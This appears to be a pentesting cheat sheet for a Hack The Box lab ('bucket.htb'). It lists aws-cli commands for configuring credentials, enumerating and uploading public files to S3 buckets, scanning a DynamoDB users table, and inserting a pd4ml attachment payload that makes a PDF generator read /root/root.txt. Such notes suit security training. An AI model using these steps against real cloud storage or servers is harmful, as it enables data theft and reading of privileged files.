AWS
aws-cli
Set it up remotely
Set the ID
aws configure set aws_access_key_id healthSet the key
aws configure set aws_secret_access_key 444af250749dEnumeration
List the buckets romotetly
aws s3 ls --endpoint-url http://s3.bucket.htb/List buckets locally
aws s3 ls s3://BUCKET_Name/List the bucket's content
aws s3 ls s3://adserver --endpoint-url http://s3.bucket.htb/Upload a file
aws s3 cp FILE_NAME s3://BUCKET_NAME/Upload it and make it public
aws s3 cp tokyo s3://adserver/ --endpoint-url http://s3.bucket.htb --acl public-readRemove a file
aws s3 rm s3://Bucket_Name/FILE_NAMEDynamodb
Set the Dynamodb instance
Set the ID
export AWS_ACCESS_KEY_ID=healthSet the key
export AWS_SECRET_ACCESS_KEY=444af250749dSet the region
export AWS_DEFAULT_REGION=us-east-1Set the endpoint
export AWS_ENDPOINT_URL=http://localhost:4566Enumeration
List the tables
aws dynamodb list-tables --endpoint-url http://localhost:4566List the users
aws dynamodb scan --table-name users --endpoint-url http://localhost:4566Create a table
aws --endpoint-url http://s3.bucket.htb dynamodb create-table --table-name alerts --attribute-definitions AttributeName=title,AttributeType=S AttributeName=data,AttributeType=S --key-schema AttributeName=title,KeyType=HASH AttributeName=data,KeyType=RANGE --provisioned-throughput ReadCapacityUnits=10,WriteCapacityUnits=5Create an
aws --endpoint-url http://s3.bucket.htb dynamodb put-item --table-name alerts --item '{"title":{"S":"Ransomware"},"data":{"S":"<html><pd4ml:attachment src=\"/root/root.txt\" description=\"attachment sample\" icon=\"Paperclip\"/></html>"}}'Last updated